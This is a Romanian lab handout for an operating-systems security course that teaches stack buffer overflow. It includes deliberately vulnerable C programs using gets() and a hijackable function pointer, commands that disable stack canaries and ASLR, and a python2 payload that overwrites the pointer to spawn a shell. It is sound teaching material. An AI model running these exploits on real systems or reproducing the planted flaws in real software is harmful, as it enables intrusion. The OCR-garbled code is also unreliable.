Elemente de securitate si logica aplicata Laboratorul 3
Securitatea sistemelor de operare

Atacuri tip Buffer Overflow

In laboratorul de astizi si cel de data viitoare vom discuta exploatarea vulnerabilitatii de
Buffer Overflow. Limbajul C/C++ este foarte puternic, punandu-ne la dispozitie acces
complet la memoria procesului. Exact cum am invatat din Spiderman — with great powers, co-
mes great responsibilities :). Astfel, pentru ca limbajul ne da posibilitatea si alteram aproape
orice zona de memorie din cele mapate si alocate procesului nostru , bug-uri minore in care ne
depasim limitele memoriei noastre alocate pentru anumite date devin vulnerabilitati majore,
exploatabile de un atacator. Din fericire sistemele de operare moderne au pus tot felul de
metode de validare si preventie, pe care le vom discuta, care sa ingreuneze misiunea unui

atacator chiar daca programatorul a fost neatent si a lasat bug-uri in cod.

Aceasta vulnerabilitate o vom demonstra pe linux, 32 de biti, pentru ca este mai usor de
demonstrat. Daca aveti o masina linux Ubuntu, x64, va rog sa instalati suportul de compi-

lare pe 32 de biti si biblioteca standard C pentru 32 de biti, daca nu le aveti deja:
sudo apt-get install libc6-dev-1i386 gcc-multilib
Acum, haideti sa analizam urmaétorul cod:

#include <stdio.h>

int main()

{
int admin = O;
char buffer[10];
gets (buffer);

if (admin)

{

printf ("You are admin.\n");
}
else
{

printf ("You are not admin");
}
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return O;

Vedeti vulnerabilitatea din cod? Daca da, compilati programul si incercati sa o exploatati.

Compilarea pentru 32 de biti o puteti face folosind comanda:
gcc -g -m32 -0 ex ex.cC

unde in ex.c am salvat codul de mai sus.

Exercitiul 1. Incercati sa exploatati vulnerabilitatea din cod, incercand sa suprascrieti
variabila admin pentru a se afisa ca sunteti admin.

Nu ati reusit? Ati primit un mesaj de eroare de genul acesta:

**k*x stack smashing detected ***: terminated

Aborted (core dumped)

Cum spuneam sistemele de operare moderne si compilatoarele moderne au adaugat me-
canisme de protectie la astfel de atacuri. In acest caz compilatorul adaugs printre variabile
canaries , adica variabile care daca sunt modificate inseamna ca variabilele vecine si-au depasit
granita si au suprascris vecinele. Daca este detectata o astfel de depasire programul este ter-
minat cu mesajul stack smashing detected. Totusi, sunt in continuare suficiente servere
si masini care ruleaza pe linuxuri vechi unde nu exista o astfel de protectie, iar pentru a
dezactiva aceasta protectie si pentru a vedea efectiv atacul, va trebui sa compilam programul

nostru cu urmatoarea comanda:
gcc -g -m32 -0 ex ex.c -fno-stack-protector

Optiunea suplimentara -fno-stack-protector dezactiveaza protectia stivei prin adauga-
rea de canaries. Reincercati acum sa vedeti daca puteti suprascrie variabila admin. Daca

ati reusit, felicitdri, dacd nu, cereti ajutor laborantului/laborantei.

Sa analizam acum urmatorul program:

#2nclude <stdio.h>
#include <stdlib.h>

#include <string.h>
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int good_func(char * buffer)
{
printf ("%s\n", buffer);

return O;

int bad_func(char * buffer)
{
system (buffer);

return O;

typedef int (*MYFUNC) (char * buffer);

int main(int argc, char * argv([])

{

char buffer1[12];
volatile MYFUNC fct;
char buffer2[12];
fct = good_func;

printf ("a%sa\n", argv[2]);

strncpy(bufferl, argv([l], strlen(argv[1])+1);
strncpy(buffer2, argv([2], strlen(argv[2])+1);
fct(bufferl);

fct(buffer?2);

return O;

Vedem ca in programul de mai sus, programatorul a uitat o functie in cod care apeleaza
o comanda folosind functia system. Probabil a folosit-o pentru debugging si a uitat sa o

stearga in varianta de release. Vedem de asemenea cd avem un pointer de functie care ia
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valoarea unei functii bune care afiseaza bufferele primite ca argumente. Dar aceasta functie
poate fi suprascrisa daca buffer2 este depasit. Deci daca pe langa ce scriem in buffer2 am
reusi cumva sa pasam adresa functiei bad_func am putea sa executam comenzi de sistem.

Iar o comanda de sistem am putea sa o plasam in bufferl.

Deci am putea ca in buffer! sa pregatim comanda de sistem si cu buffer?2 sa suprascriem

adresa din fct cu adresa functiei bad_ func.

Haideti sa vedem daca acest lucru este posibil — in primul rand care e adresa functiei
bad_func? Cum am putea sa aflam aceasta adresa. O idee ar fi sa adaugam inainte de

return (, urmatoarea comanda:
printf ("bad_func_address=Yp.\n", bad_func);

Exercitiul 2. Compilati si rulati programul modificat astfel incat sa afiseze adresa functiei

bad_func. Este aceeasi valoare de fiecare data? Daca nu, de ce credeti?

ASLR - Address Space Layout Randomization este de asemenea un mecanism de
protectie prin care sistemul de operare incearca sa incarce programul si bibliotecile la alta
adresa de fiecare data, pentru a ingreuna munca unui atacator care incearca sa gaseasca

adrese fixe cu cod pe care poate sa il exploateze.

Haideti sa dezactivam ASLR:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

O data dezactivat ASLR veti obtine o adresa fixd a functiei voastre. In cazul meu, cu pro-

gramul compilat pe 32 de biti valoarea adresei functiei este 0x5655627c.

Noi ne dorim acum sa reusim sa scriem o comanda in buffer! si sa suprascriem valoarea

pointerului la functia de deasupra noastra cu valoarea adresei lui bad_ func prin buffer?2.

Pentru a face acest lucru, daca nu avem python instalat, il instalam cu comanda:

sudo apt-get install python
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Observatie! Am si varog sa instalati python2 pentru ca pythond transforma instructiunile

nop intr-un caracter Unicode si ne va incurca ce avem de facut in urmatorul laborator.

Acum, daca vrem sa rulam un program in care si dam ca argument valori numerice care
sa nu fie transformate in caracterele asociate acelor valori ne vom folosi de python.
Astfel daca rulam comanda:
./ex2 $(python2 -c 'print ("sh"+" " + "\x7c\x62\x55\x56") ")
vom pune in primul buffer sh — pregatindu-l pentru a avea o comanda rulabila si vom

folosi al doilea argument sa punem in buffer2 valoarea functiei bad_ func.

Exercitiul 3. Plecand de la comana anterioarda mai puneti ce elemente considerati nece-
sare pentru a umple buffer? sa faca overflow si valorile numerice sa ajunga in pointerul fct,

suprascriind continutul acestuia cu adresa functiei bad_ fct.



